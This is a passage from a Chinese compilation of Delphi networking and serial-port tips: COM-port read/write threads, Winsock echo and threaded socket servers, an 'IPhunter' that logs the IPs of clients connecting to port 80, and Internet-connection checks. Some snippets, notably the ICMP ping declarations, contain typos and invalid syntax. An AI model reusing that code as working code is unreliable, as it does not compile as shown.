// 处理WM_COMMNOTIFY消息时不再发送WM_COMMNOTIFY消息

ResetEvent(Post_Event);

// 传递WM_COMMNOTIFY通讯消息

Ok:=PostMessage(Form1.Handle,WM_COMMNOTIFY,hNewCommFile,0);

if (not Ok) then

begin

MessageBox(0,'PostMessage Error !','Notice',MB_OK);

Exit;

end;

end;

end;

CloseHandle(Os.hEvent); // 关闭重叠读事件对象

end;

procedure TForm1.WMCOMMNOTIFY(var Message :TMessage); // 消息处理函数

var

CommState : ComStat;

dwNumberOfBytesRead : Dword;

ErrorFlag : Dword;

InputBuffer : Array [0..1024] of Char;

begin

if not ClearCommError(hNewCommFile,ErrorFlag,@CommState) then

begin

MessageBox(0,'ClearCommError !','Notice',MB_OK);

PurgeComm(hNewCommFile,Purge_Rxabort or Purge_Rxclear);

Exit;

end;

if (CommState.cbInQue>0) then

begin

fillchar(InputBuffer,CommState.cbInQue,#0);

// 接收通讯数据

if (not ReadFile( hNewCommFile,InputBuffer,CommState.cbInQue,

dwNumberOfBytesRead,@Read_os )) then

begin

ErrorFlag := GetLastError();

if (ErrorFlag <> 0) and (ErrorFlag <>
   ERROR_IO_PENDING) then

begin

MessageBox(0,'ReadFile Error!','Notice',MB_OK);

Receive :=False;

CloseHandle(Read_Os.hEvent);

CloseHandle(Post_Event);

CloseHandle(hNewCommFile);

Exit;

end

else

begin

WaitForSingleObject(hNewCommFile,INFINITE); // 等待操作完成

GetOverlappedResult(hNewCommFile,Read_os,

dwNumberOfBytesRead,False);

end;

end;

if dwNumberOfBytesRead>0 then

begin

Read_Os.Offset :=Read_Os.Offset+dwNumberOfBytesRead;

ReceiveData := Read_Os.Offset;

// 处理接收的数据

AddToMemo(InputBuffer,dwNumberOfBytesRead);

end;

end;

// 允许发送下一个WM_COMMNOTIFY消息

SetEvent(Post_Event);

end;

procedure TForm1.Button1Click(Sender: TObject); // 打开文件用于发送

begin

if OpenDialog1.Execute then

begin

Button3.Enabled :=False;

Button4.Enabled :=False;

RichEdit1.Lines.LoadFromFile(OpenDialog1.FileName);

Form1.Caption := IntToStr(RichEdit1.GetTextLen);

end;

Button1.Enabled :=False;

end;

procedure TForm1.Button2Click(Sender: TObject); // 发送数据

var

dcb : TDCB;

Error :Boolean;

dwNumberOfBytesWritten,dwNumberOfBytesToWrite,

ErrorFlag,dwWhereToStartWriting : DWORD;

pDataToWrite : PChar;

write_os: Toverlapped;

begin

Form1.Caption :='';

// 打开通讯端口COM2

hNewCommFile:=CreateFile( 'COM2',GENERIC_WRITE,0,

nil, OPEN_EXISTING,FILE_FLAG_OVERLAPPED,0 );

if hNewCommFile = INVALID_HANDLE_VALUE then

MessageBox(0,'Error opening com port!','Notice',MB_OK);

SetupComm(hNewCommFile,1024,1024); // 设置缓冲区大小及主要通讯参数

GetCommState( hNewCommFile,dcb);

dcb.BaudRate :=9600;

dcb.ByteSize :=8;

dcb.Parity :=NOPARITY;

dcb.StopBits := ONESTOPBIT;

Error := SetCommState( hNewCommFile, dcb );

if ( not Error) then MessageBox(0,'SetCommState Error!','Notice',MB_OK);

dwWhereToStartWriting := 0;

dwNumberOfBytesWritten := 0;

dwNumberOfBytesToWrite :=RichEdit1.GetTextLen;

if (dwNumberOfBytesToWrite=0) then

begin

ShowMessage('Text Buffer is Empty!');

Exit;

end

else

begin

pDataToWrite:=StrAlloc(dwNumberOfBytesToWrite+1);

try

RichEdit1.GetTextBuf(pDataToWrite,dwNumberOfBytesToWrite);

Label1.Font.Color :=clRed;

FillChar(Write_Os,SizeOf(write_os),0);

// 为重叠写创建事件对象

Write_Os.hEvent := CreateEvent(nil,True,False,nil);

SetCommMask(hNewCommFile,EV_TXEMPTY);

Label1.Caption:='正在发送数据...!';

repeat

Label1.Repaint;

// 发送通讯数据

if not WriteFile( hNewCommFile,pDataToWrite[dwWhereToStartWriting],

dwNumberOfBytesToWrite,dwNumberOfBytesWritten,

@write_os ) then

begin

ErrorFlag :=GetLastError;

if ErrorFlag<>0 then

begin

if ErrorFlag=ERROR_IO_PENDING then

begin

WaitForSingleObject(Write_Os.hEvent,INFINITE);

GetOverlappedResult(hNewCommFile,Write_os,

dwNumberOfBytesWritten,False);

end

else

begin

MessageBox(0,'WriteFile Error!','Notice',MB_OK);

Receive :=False;

CloseHandle(Read_Os.hEvent);

CloseHandle(Post_Event);

CloseHandle(hNewCommFile);

Exit;

end;

end;

end;

Dec( dwNumberOfBytesToWrite, dwNumberOfBytesWritten );

Inc( dwWhereToStartWriting, dwNumberOfBytesWritten );

until (dwNumberOfBytesToWrite <= 0); // Write the whole thing!

Form1.Caption:=IntToStr(dwWhereToStartWriting);

finally

StrDispose(pDataToWrite);

end;

CloseHandle(hNewCommFile);

end;

Label1.Font.Color :=clBlack;

Label1.Caption:='发送成功!';

Button1.Enabled :=True;

Button3.Enabled :=True;

Button4.Enabled :=True;

end;

procedure TForm1.Button3Click(Sender: TObject); // 接收处理

var

Ok : Boolean;

dcb : TDCB;

com_thread: Thandle;

ThreadID:DWORD;

begin

ReceiveData :=0;

Button1.Enabled :=False;

Button2.Enabled :=False;

RichEdit1.Clear;

// 打开COM2

hNewCommFile:=CreateFile( 'COM2'，GENERIC_READ,0,

nil, OPEN_EXISTING,FILE_FLAG_OVERLAPPED,0 );

if hNewCommFile = INVALID_HANDLE_VALUE then

begin

MessageBox(0,'Error opening com port!','Notice',MB_OK);

Exit;

end;

Ok:=SetCommMask(hNewCommFile,EV_RXCHAR);

if ( not Ok) then

begin

MessageBox(0,'SetCommMask Error!','Notice',MB_OK);

Exit;

end;

SetupComm(hNewCommFile,1024,1024);

GetCommState( hNewCommFile, dcb );

dcb.BaudRate :=9600;

dcb.ByteSize :=8;

dcb.Parity :=NOPARITY;

dcb.StopBits := ONESTOPBIT;

Ok := SetCommState( hNewCommFile, dcb );

if ( not Ok) then MessageBox(0,'SetCommState Error!','Notice',MB_OK);

FillChar(Read_Os,SizeOf(Read_Os),0);

Read_Os.Offset := 0;

Read_Os.OffsetHigh := 0;

// Create Event for Overlapped Read

Read_Os.hEvent :=CreateEvent(nil,true,False,nil);

if Read_Os.hEvent=null then

begin

CloseHandle(hNewCommFile);

MessageBox(0,'CreateEvent Error!','Notice',MB_OK);

Exit;

end;

// Create Event for PostMessage

Post_Event:=CreateEvent(nil,True,True,nil);

if Post_Event=null then

begin

CloseHandle(hNewCommFile);

CloseHandle(Read_Os.hEvent);

MessageBox(0,'CreateEvent Error!','Notice',MB_OK);

Exit;

end;

// 建立通信监视线程

Com_Thread:=CreateThread(nil,0,@CommWatch,nil,0,ThreadID);

if (Com_Thread=0) then

MessageBox(Handle,'No CraeteThread!',nil,mb_OK);

EscapeCommFunction(hNewCommFile,SETDTR);

Label1.Font.Color :=clRed;

Label1.Caption:='正在接收数据...!';

end;

procedure TForm1.Button4Click(Sender: TObject); // 停止通讯处理

begin

Label1.Font.Color :=clBlack;

Label1.Caption:='infomation';

Form1.Caption := IntToStr(ReceiveData);

Receive :=False;

CloseHandle(Read_Os.hEvent);

CloseHandle(Post_Event);

CloseHandle(hNewCommFile);

Button1.Enabled :=True;

Button2.Enabled :=True;

end;

end.

参考文献

1．Windows95 Windows NT3.5高级编程技术 Jeffrey Richter著

2．基于Windows 95&NT的串行通信编程 李柯 <<微电脑世界>>
    1997。5

3．Windows 95中的串行通信 王齐 <<微电脑世界>> 1997。3


串口通讯的监听

串口程序我后来研究了好久，写了下面的代码，后台生成一个线程监听串口，不
影响前台工作。效果很好，一直用于GPS仪器的数据接收，

unit frmComm;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ComCtrls,GeoUtils,GeoGPS;

const MAXBLOCK = 160;

type
TComm = record
idComDev :
THandle;
fConnected : Boolean;
end;

  TCommForm = class(TForm)
ComboBox1:
TComboBox;
Button1: TButton;
StatusBar1: TStatusBar;
Button2:
TButton;
ComboBox2: TComboBox;
procedure Button1Click(Sender: TObject);
procedure
Button2Click(Sender: TObject);

procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
public
{ Public declarations }
end;

TCommThread = Class(TThread)
protected
procedure Execute;override;
public
constructor Create;
end;

var
CommForm: TCommForm;
CommHandle : THandle;
Connected : Boolean;
CommThread : TCommThread;

implementation

{$R *.DFM}

uses
frmMain,frmMdiMapView;

procedure TCommThread.Execute;
var
dwErrorFlags,dwLength : DWORD;
ComStat : PComStat;
fReadStat : Boolean;
InChar : Char;
AbIn : String;
XX,YY : double; //经度、纬度

VID : string; //车号
begin
while Connected do begin
GetMem(ComStat,SizeOf(TComStat));
ClearCommError(CommHandle, dwErrorFlags, ComStat);
if (dwErrorFlags > 0) then begin
PurgeComm(CommHandle,(PURGE_RXABORT and PURGE_RXCLEAR));
// return 0;
end;
dwLength := ComStat.cbInQue;
if (dwLength>0) then begin
fReadStat := ReadFile(CommHandle, InChar, 1,dwLength, nil);
if (fReadStat) then begin

if (InChar <> Chr(13)) and (Length(abIn) < MAXBLOCK+5 ) then AbIn := AbIn + InChar
else begin
...
{接收完毕，}
end;//if (fReadStat>0){
end; //if (dwLength>0){
FreeMem(ComStat);
end;{while}
end;

constructor TCommThread.Create;
begin
FreeOnTerminate := TRUE;
inherited Create(FALSE); //Createsuspended = false
end;

//
procedure TCommForm.Button1Click(Sender: TObject);
var

CommTimeOut : TCOMMTIMEOUTS;
DCB :
TDCB;
fRetVal :
Boolean;
begin
StatusBar1.SimpleText :=
'连接中...';
CommHandle :=
CreateFile(PChar(ComboBox1.Text),GENERIC_READ,0,nil,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL
, 0);
if CommHandle = INVALID_HANDLE_VALUE then
begin
StatusBar1.SimpleText :=
'连接失败';
Exit;
end;
StatusBar1.SimpleText := '已同端口 '+
ComboBox1.Text + ' 连接！';
CommTimeOut.ReadIntervalTimeout :=
MAXDWORD;
CommTimeOut.ReadTotalTimeoutMultiplier := 0;

CommTimeOut.ReadTotalTimeoutConstant := 0;
SetCommTimeouts(CommHandle, CommTimeOut);

GetCommState(CommHandle,DCB);
DCB.BaudRate := 9600;
DCB.ByteSize := 8;
DCB.Parity := NOPARITY;
DCB.StopBits := ONESTOPBIT;
fRetVal := SetCommState(CommHandle, DCB);
if (fRetVal) then begin
Connected := TRUE;
try
CommThread := TCommThread.Create;
except
Connected := FALSE;
CloseHandle(CommHandle);
fRetVal := FALSE;
StatusBar1.SimpleText := '线程建立失败';
Exit;

         end;
end
else begin
Connected :=
FALSE;
CloseHandle(CommHandle);
end;
end;

procedure TCommForm.Button2Click(Sender: TObject);
begin
Connected :=
FALSE;
CloseHandle(CommHandle);
{终止线程}
CommThread.Terminate;
StatusBar1.SimpleText :=
'关闭端口'+ComboBox1.Text;
end;

procedure TCommForm.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Connected := FALSE;
CloseHandle(CommHandle);

StatusBar1.SimpleText := '关闭端口'+ComboBox1.Text;
end;

end.


判断Winsock是否有效

uses Winsock;

function WinsockEnabled: boolean;
var
wsaData: TWSAData;
begin
result := true;
case Winsock.WSAStartup($0101,wsaData) of
WSAEINVAL, WSASYSNOTREADY, WSAVERNOTSUPPORTED: result := false;
else Winsock.WSACleanup;
end;
end;


使用TServerSocket构件提供多线程服务

对于一个socket来说，很容易提供一个侦听消息的多线程服务。Delphi自身也提供了这样的构件：TServerSocket。

不过这里边也需要一点小技巧。

为此，我们要做以下几件事：

-将TServerSocket加入main窗体中

-设置Servertype属性为stThreadBlocking

-生成一个新单元（如下）来包含服务线程

将下面的代码赋给OnGetThread事件响应函数

procedure TfrmMain.fSocketGetThread(Sender: TObject;

ClientSocket: TServerClientWinSocket;

var SocketThread: TServerClientThread);

begin

// 在每次一个新连接建立的时候为它生成一个新的TServerThread对象。

SocketThread := TServerThread.Create( FALSE, ClientSocket );

end;

下面是我自己生成的TServerThread对象代码.该对象从TServerClinetThread继承而来，包含从socket读写数据的代码。

unit serverthread;

interface

uses

windows, scktcomp, SysUtils, Classes, Forms;

type

EServerThread = class( Exception );

// TServerThread服务线程类是TServerClientThread的派生类

TServerThread = class( TServerClientThread )

private

fSocketStream : TWinSocketStream;

public

procedure ClientExecute; override;

// ClientExecute过程将覆盖TServerClientThread.ClientExecute过程

// 并包含实际执行的代码于线程开始时。

end;

implementation

procedure TServerThread.ClientExecute;

begin

inherited FreeOnTerminate := TRUE;

try

fSocketStream := TWinSocketStream.Create( ClientSocket,100000 );

// 设置100000毫秒的充许超时.

try

while ( not Terminated ) and ( ClientSocket.Connected ) do

try

// 在此处加入你对输入、读、写的等待

// 下面的示范你可以拿来照搬在此

except on e:exception do

begin

// 一旦错误发生就关闭并退出

ClientSocket.Close;

Terminate;

end;

end;

finally

fSocketStream.Free;

end;

except on e:exception do

begin

// 一旦错误发生就关闭并退出

ClientSocket.Close;

Terminate;

end;

end;

end;

一旦连接建立，线程需要等待数据到来.你可以使用下面的代码来等待数据:

if ( not Terminated ) and

( not fSocketStream.WaitForData( 1000000 ) ) then

begin

// 超时处理

end;

// 数据到达!

为了读取数据，我们需要建立一个数据缓冲区存取到达的数据，可以使用PByteArray或一个char型的数组.

在此例中我设置了一个名为fRequest的char型数组缓冲。此外我将其设为定长，其大小由REQUESTSIZE常量决定.

var

ac, readlen : integer;

begin

FillChar( fRequest, REQUESTSIZE, 0 );

ac := 0;

repeat

readlen := fSocketStream.Read( fRequest[ac],

1024 );

// 每次读取1024 bytes直到缓冲区满

ac := ac+readlen;

until ( readlen = 0 ) or ( ac = REQUESTSIZE );

end;

如果说readlen是 0 的话，说明我未收到任何数据.读函数的超时从TWinSocketStream.Create()执行后开始.如果说你不知道预期的数据量,你最好将超时设置得尽量小些.在大多数情况下 30 秒是上限.

当发送一个应答时，你应该很清楚客户端的行为.许多客户端仅仅等待一个应答包,一些则等待许多包.

在本例中，我只设置了一个客户端并只等待一个包，所以我们需要一次就将数据包发送出去。

fSocketStream.WriteBuffer( fRep, fReplySize );

fRep是应答缓冲区,fReplySize则是缓冲区大小.


最原始的winsock程序

我把socket编程教程的第一个例子改写了一下
服务器接受客户信息,再反送回去

实际上是直接调用win api
在delphi4下用命令行编译
dcc32 -cc server1.pas
用windows自带的telnet测试

server1.pas:
program server1;

uses windows,winsock;

const myport=1414;//预定义口

{type
  sockaddr_in = record
    case integer of
      0: (sin_family: u_short;
          sin_port: u_short;
          sin_addr: tinaddr;
          sin_zero: array[0..7] of char);
      1: (sa_family: u_short;
          sa_data: array[0..13] of char)
  end;
  tsockaddrin = sockaddr_in;
  psockaddr = ^tsockaddr;
  tsockaddr = sockaddr_in;

  wsadata = record // !!! also wsdata
    wversion: word;
    whighversion: word;
    szdescription: array[0..wsadescription_len] of char;
    szsystemstatus: array[0..wsasys_status_len] of char;
    imaxsockets: word;
    imaxudpdg: word;
    lpvendorinfo: pchar;
  end;
  twsadata = wsadata;

end
}

var str:string;
    s,ns:tsocket;//type:u_int|integer;
    ver:word;
    rece:twsadata;//type:wsadata;
    wsstatus:integer;//winsocket_status;
    i,pktlen:integer;
    szd:array[0..wsadescription_len] of char;
    szs:array[0..wsasys_status_len] of char;
    server:tsockaddr;//tpye:sockaddr_in
    client:psockaddr;//type:^sockaddr_in
    namelen:pinteger;//type:^integer;
    buf:array[0..1023] of char;

begin
ver:=514;
write('wsastartup = ');
try
wsstatus:=wsastartup(ver,rece);
//初始化winsock;在windows下是必须的过程
writeln(wsstatus);//winsock状态,0代表成功
if wsstatus=0 then
begin
writeln;
writeln('********************************************************************************');
//以下显示winsock状态
write('wversion = ');
writeln(rece.wversion);
write('whighversion = ');
writeln(rece.whighversion);
write('imaxsockets = ');
writeln(rece.imaxsockets);
write('imaxudpdg = ');
writeln(rece.imaxudpdg);
writeln('szdescription is ');
for i:=0 to wsadescription_len do write(szd[i]);
writeln;
writeln('szsystemstatus is ');
for i:=0 to wsasys_status_len do write(szs[i]);
writeln;
writeln('********************************************************************************');
end;

write('socket = ');
s:=socket(af_inet,sock_stream,0);
//第一步,建立服务器的socket,0表示成功
writeln(s);
if s<0 then exit;

write('bind = ');
server.sin_family := af_inet;
server.sin_port := htons(myport);
server.sin_addr.s_addr := inaddr_any;
wsstatus:=bind(s,server,sizeof(server));
//第二步,绑定,0表示成功
writeln(wsstatus);
if wsstatus<>0 then exit;

write('listen = ');
wsstatus:=listen(s,5);
//第三步,监听
writeln(wsstatus);
if wsstatus<>0 then exit;

write('accept = ');
new(client);
new(namelen);
namelen^:=sizeof(client^);
ns:=accept(s,client,namelen);
//第四步,等待接收
//注:bind时传递的是sockaddr_in结构的数据,accept时是两个指针!!!
if ns=-1 then //以下可以做成多线程过程
   begin
   writeln(-1);
   exit;
   end
   else
   begin
   writeln(ns);
   pktlen:=0;
   writeln('recv');
   repeat
   pktlen:= recv(ns,buf,1024,0);//接收数据
//pktlen=为接收长度,0表示断开联接,<0表示失败
   sleep(1);
   write(pktlen:5);
   if pktlen>0 then
   begin
   i:=send(ns,buf,pktlen,0);//返回数据
   end;
   until pktlen<1;//循环直到客户断开联接
   end;
finally
writeln;
writeln('********************************************************************************');
writeln('press to exit winsocket');
readln(str);
wsstatus:=wsacleanup();//退出winsocket;
write('wsacleanup = ');
writeln(wsstatus);
end;
writeln;
writeln('press to exit');
readln(str);
end.


制作一个IPhunter

有人说现在的程序员成了组装工人，其实很有道理，利用控件模块+少量代码就可以实现,delphi 5.0提供了丰富的internet控件，利用tcp/ip 客户端-服务端就可以解决问题。关键的控件是serversocket,我们模仿iphunter的界面用一个button1（按钮）,一个combobox1（用于显示），这三个最基本的控件放置到空白窗体上就可以开始写代码了。

首先，这个combobox1必须能显示多个ip,我们定一个变量y来累加combobox1.items[y]，

var y:integer;

我们的思路如下，当serversocket活动的port(端口）收到基于tcp/ip协议的连结请求时候，返回对方的ip值，传递给combobox显示出来。由button1控制serversocket的激活，也就是打开关闭端口。

我们在serversocket的on clientconnect事件中加入一下代码

procedure tform1.serversocket11clientconnect(sender: tobject;

socket: tcustomwinsocket);

begin

combobox1.items.insert(y,'');//加入一条空纪录

combobox1.items[y]:=socket.remoteaddress;//获取对方的ip

label1.text:='共捕获'+inttostr(y+1)+'个ip';//用一个标签来显示一共抓了多少ip

y:=y+1;//计数变量加1

socket.close;

end;

现在，将button1的caption属性设置为 '开始',在它的单击事件中加入以下代码

procedure tform1.speedbutton7click(sender: tobject);

begin

if speedbutton7.caption='开始' then

begin

serversocket11.port:=80;//这句可以在serversocket属性中设定，捕获浏览器的连接

serversocket11.active:=true;//激活端口

speedbutton7.caption:='停止';

end

else

begin

serversocket11.active:=false;//关闭端口

speedbutton7.caption:='开始';

combobox1.clear;//结束捕获，清空历史信息

y:=0;//计数变量复位

end;

end;


检测是否同Internet连接

来自：Another_eYes 时间：99-8-29 21:55:08 ID:129673
用个ICMP控件直接在程序里ping吧
不用控件也简单. 用api一样
uses winsock;

  p_ip_options=^t_ip_options;
t_ip_options=packed
record
Ttl: byte;
Tos: byte;
flags: byte;
optionssize: byte;
optionsdata: pointer;
end;

p_icmp_echo_reply=^t_icmp_echo_reply;
t_icmp_echo_reply=packed record
address: u_long;
status: u_long;
rttime: u_long;
datasize: word;
reserved: word;
data: pointer;

ip_options:t_ip_options;
end;

function icmpcreatefile: THandle; stdcall; external 'icmp.dll' name 'ICMPCreateFile';

function ICMPSendEcho:function(ICMPHandle:
THandle;
DestAddress:longint;
Requestdata:pointer;
requestsize:word;
RequestOptns:
p_ip_options;
ReplyBuffer:pointer;
Replysize:dword;
Timeout: DWord

):dword; stdcall; external 'icmp.dll' name 'ICMPSendEcho';

function ICMPCloseHandle:function(ICMPHandle:THandle):Boolean; stdcall; external 'icmp.dll' name 'ICMPCloseHandle';

function Ping(Ip: string): boolean;
var
f_ICMP_Handle:
THandle;
f_address: LongInt;
f_timeout: Integer;
f_blocksize: Integer;
f_replysize: Integer;
requestoptions:
T_ip_options;
reqyestdatam replybuffer: Pointer;
begin
f_ICMP_Handle:=icmpcreatefile;
f_timeout:=1000;

f_blocksize:=64;
f_replysize:=16+sizeof(t_icmp_echo_reply)+f_blocksize;
GetMem(requestdata,f_blocksize);
fillchar(requestdata^,64,#$32);
GetMem(replybuffer,f_replysize);
requestoptions.ttl:=255;
requestoptions.tos:=0;
requestoptions.flags:=0;
requestoptions.optionssize:=0;
requestoptions.optionsdata:=NIL;

f_address := Inet_Addr(PChar(Ip));

if f_address = SOCKET_ERROR then
begin
result := false;
ICMPCloseHandle(f_icmp_handle);
exit;
end;

if ICMPSendEcho(f_icmp_handle,f_address,
requestdata,f_blocksize,

@requestoptions,
replybuffer,f_replysize,
f_timeout)<>1 then
result := false
else
result := true;
icmpclosehandle(f_icmp_handle);
end;

来自：曹晓钢 时间：99-8-31 02:35:06 ID:130028
这个问题不是刚讨论过吗?
pega说,
监视本机IP的变化,如果挂上了internet,就会多出一个新的IP来.
(是局域网就歇菜了.)

还有老外由这个思路写了控件了.不长,我就直接贴出来了.

{ ****************************************************************** }
{ }
{ VCL component TKZInternetDetect }

{
}
{   Internet detector
component
}
{
}
{   Code generated by Component Create for
Delphi
}
{
}
{   Generated from source file
d:\compon~1\intern~1\d3\kzintdet.cd   }
{   on 7 July
1999 at
21:52
}
{
}
{   Copyright ?1999 by Kire
Zvezdakoski
}
{
}
{ ****************************************************************** }

unit KZIntDet;

interface

uses Messages, SysUtils, Classes, Controls, Forms, Graphics,
Windows, Extctrls, RAS;

type
TKZInternetDetect = class(TComponent)
private
{ Private fields of TKZInternetDetect }
FCheckInterval : Integer;
FConnected : Boolean;
FIP : String;
{ Pointer to application's OnConnect handler, if any }
FOnConnect : TNotifyEvent;
{ Pointer to application's OnDisconnect handler, if any }
FOnDisconnect : TNotifyEvent;
Timer : TTimer;

{ Private methods of TKZInternetDetect }
{ Method to set variable and property values and create objects }
procedure AutoInitialize;
{ Method to free any objects created by AutoInitialize }
procedure AutoDestroy;

procedure SetConnected(Value : Boolean);
procedure SetIP(Value : String);
procedure Check(Sender:TObject);

protected
{ Protected fields of TKZInternetDetect }

      { Protected methods of TKZInternetDetect
}
{ Method to generate OnConnect
event }
procedure Connect(Sender :
TObject); virtual;
{ Method to
generate OnDisconnect event }
procedure Disconnect(Sender : TObject);
virtual;
procedure Loaded;
override;

public
{ Public fields and properties of TKZInternetDetect }

{ Public methods of TKZInternetDetect }

constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
function Execute : Boolean;

published
{ Published properties of TKZInternetDetect }
property OnConnect : TNotifyEvent read FOnConnect write FOnConnect;
property OnDisconnect : TNotifyEvent read FOnDisconnect write FOnDisconnect;
property CheckInterval : Integer
read FCheckInterval write FCheckInterval
default 1000;
property Connected : Boolean
read FConnected write SetConnected
default False;
property IP : String read FIP write SetIP;

end;

procedure Register;

implementation

procedure Register;
begin
{ Register TKZInternetDetect with KireZ as its
default page on the Delphi component palette }
RegisterComponents('KireZ', [TKZInternetDetect]);
end;

{ Method to set variable and property values and create objects }
procedure TKZInternetDetect.AutoInitialize;
begin
Timer := TTimer.Create(Self);
FCheckInterval := 1000;
FConnected := False;
FIP := '127.0.0.1';
end; { of AutoInitialize }

{ Method to free any objects created by AutoInitialize }
procedure TKZInternetDetect.AutoDestroy;
begin
Timer.Free;
end; { of AutoDestroy }

procedure TKZInternetDetect.SetConnected(Value : Boolean);

begin
FConnected := Value;
end;

procedure TKZInternetDetect.SetIP(Value : String);
begin
FIP := Value;
end;

{ Method to generate OnConnect event }
procedure TKZInternetDetect.Connect(Sender : TObject);
begin
{ Has the application assigned a method to the event, whether
via the Object Inspector or a run-time assignment? If so,
execute that method }
if Assigned(FOnConnect) then
FOnConnect(Sender);
end;

{ Method to generate OnDisconnect event }
procedure TKZInternetDetect.Disconnect(Sender : TObject);
begin
{ Has the application assigned a method to the event, whether
via the Object Inspector or a run-time assignment? If so,
execute that method }
if Assigned(FOnDisconnect) then
FOnDisconnect(Sender);
end;

procedure TKZInternetDetect.Check(Sender:TObject);

var
RASConns:TRasConn;
dwSize:dword;
dwCount:dword;
RASpppIP:TRASpppIP;
T:Boolean;
r:string;
begin
r:='';
RASConns.dwSize:=SizeOf(TRASConn);
RASpppIP.dwSize:=SizeOf(RASpppIP);
dwSize:=SizeOf(RASConns);
If RASEnumConnections(@RASConns, dwSize, dwCount)=0 Then

      If dwCount > 0 Then
begin
dwSize :=
SizeOf(RASpppIP);
If
RASGetProjectionInfo(RASConns.hRasConn, RASP_PPPIP, @RasPPPIP, dwSize)=0
Then
r:=strPas(RASpppIP.szIPAddress);
End;
t:=Connected;
Connected:=(r<>'127.0.0.1') and (r<>'') and (r<>'
');
FIP:=r;
if ((not t)
and Connected) then Connect(Sender);
if (t and (not
Connected)) then Disconnect(Sender);
end;

constructor TKZInternetDetect.Create(AOwner: TComponent);

begin
inherited Create(AOwner);
AutoInitialize;

     { Code to perform other tasks when the component is
created }
Timer.OnTimer:=Check;
CheckInterval:=1000;
end;

destructor TKZInternetDetect.Destroy;
begin
AutoDestroy;
inherited Destroy;
end;

function TKZInternetDetect.Execute : Boolean;
begin
{ Perform the component operation }

     { Return True if the operation was successful, False
otherwise }
Result := True
end;

procedure TKZInternetDetect.Loaded;
begin
inherited Loaded;

{ Perform any component setup that depends on the property

values having been set }

end;

end.

来自：DNChen 时间：99-8-31 07:30:18 ID:130040
>2. windows登陆internet后,使用什麽消息变量传递的.我可否使用
没有消息可以响应，只有你自己的程序拨号时，才可以提供一个回调函数给ras api，
这个时候才可以获得拨号成功/失败信息。

来自：cytown 时间：99-8-31 17:53:46 ID:130196
可以通过ping www.netscape.com是否通来判断, 不过, 如果你的局域网
有一个机器或服务器是WWW.NETSCAPE.COM, 那么......
话说回来了, 谁会设这么一台机器呢?

可以用ics构件里的tping构件.

来自：Kim Wong 时间：99-8-31 22:50:32 ID:130290
使用 idle 是否会比用 timer 节约资源呢？
不过我以前就是用 timer 来实现的一个记费器，并没感觉事件响应有迟缓。
其实 timer 也不是太占资源啦！

///////////////////////////////////
You can use the TCP component to retrieve the Local IP
address. If it is "0.0.0.0" then there is no connection.

Example:

procedure TForm1.Button1Click(Sender: TObject);
begin
if
TCP1.LocalIp = '0.0.0.0' then
ShowMessage('Your not
connected!');
end;
////////////////////////////////////

uses wininet.pas

function IsConnectedToInternet: bool;
begin
dwConnectionTypes := INTERNET_CONNECTION_MODEM
+ INTERNET_CONNECTION_LAN
+ INTERNET_CONNECTION_PROXY;
if InternetGetConnectedState(@dwConnectionTypes, 0) then
Result := True
else Result := False;
end;


如何应用TCP/IP的套接字

开 发 网 络 通 信 应 用 程 序
中 国 银 行 西 安 市 分 行 电 脑 处(710001) 胡 旋
进 入 九 十 年 代 后， 随 着 计 算 机 和 网 络 技 术 的 发 展， 很 多 数 据 处 理 系 统 都
采 用 开 放 系 统 结 构 的 客 户 机/ 服 务 器 网 络 模 式， 即 客 户 机 提 出 任 务 请 求， 通 过 网 络
发 送 给 服 务 器， 由 服 务 器 做 相 应 处 理， 执 行 被 请 求 的 任 务， 然 后 将 结 果 返 回 给 客 户
机。 例 如： 银 行ATM 的 前 置 机 和 数 据 处 理 的 主 机 之 间 即 构 成 客 户 机/ 服 务 器 网 络 模

式； 电 话 银 行 的 前 置 机 和 银 行 数 据 处 理 机 之 间 也 构 成 这 种 网 络 模 式 结 构 等。 这 样，
如 何 在 前 置 机 和 数 据 主 机 之 间 进 行 信 息 交 换， 即 进 程 网 络 通 信， 就 成 为 实 现 这 种
网 络 模 式 的 基 础。 而TCP/IP 的 套 接 字 技 术 是 解 这 一 问 题 的 有 力 工 具。 它 从 提 出 时
就 一 直 发 挥 着 愈 来 愈 重 要 的 作 用， 并 已 成 为UNIX 操 作 系 统 下TCP/IP 网 络 编 程 标
准； 甚 至WINDOW、JAVA 都 配 有 它 的 通 用 接 口。 有 了 这 个 强 有 力 的 工 具， 我 们 可 以 实

现 异 种 机、 异 种 操 作 系 统 应 用 程 序 间 的 相 互 连 接 和 通 信。
套 接 字（sockets） 是 支 持TCP/IP 协 议 的 网 络 通 信 的 基 本 操 作 单 元。 可 以
将 套 接 字 看 作 不 同 主 机 间 的 进 程 进 行 双 向 通 信 的 端 点。 它 构 成 了 在 单 个 主 机 内 及
整 个 网 际 间 的 编 程 界 面。 一 般 来 说， 跨 机 应 用 进 程 之 间 要 在 网 络 环 境 下 进 行 通 信，
必 须 要 在 网 络 的 每 一 端 都 要 建 立 一 个 套 接 字， 两 个 套 接 字 之 间 是 可 以 建 立 连 接

的， 也 是 可 以 无 连 接 的， 并 通 过 对 套 接 字 的“ 读”、“ 写” 操 作 实 现 网 络 通 信 功 能。 类
似 于UNIX 系 统 中 的I/O 概 念， 像 文 件 那 样 有 打 开、 读、 写、 关 闭 的 方 式。 根 据 传 输 数
据 类 型 的 不 同， 套 按 字 可 分 为 面 向 连 接 的 数 据 套 接 字（stream sockets） 和 无 连 接
的 数 据 报 套 接 字（datagram sockets） 两 种 类 型。
1、 字 节 流 套 接 字
字 节 流 不 按 记 录 定 界， 在TCP/IP 协 议 簇 中 对 应TCP 协 议， 即 传 输 控 制 协

议（Transmition Control Protocol）。 它 是 一 个 提 供 给 用 户 进 程 可 靠 的 全 双 工 的
面 向 连 接 的 协 议， 大 多 数INTERNET 应 用 程 序 如ftp、telnet 使 用TCP 协 议。 通 信 端 点
使 用TCP 对 应 的INTERNET 地 址 互 相 连 接， 可 保 证 按 正 确 的 顺 序 以 及 单 一 和 可 靠 的
地 址 传 输 数 据。 由 于 它 是 字 节 流， 所 以 包 长 包 没 有 限 制， 信 包 传 输 也 不 重 复， 因 而
是 一 种 常 用 的 套 接 字 类 型。

2、 数 据 报 套 接 字
数 据 报 对 应 记 录 型 数 据 流， 在TCP/IP 协 议 簇 中 对 应UDP 协 议， 即 用 户 数
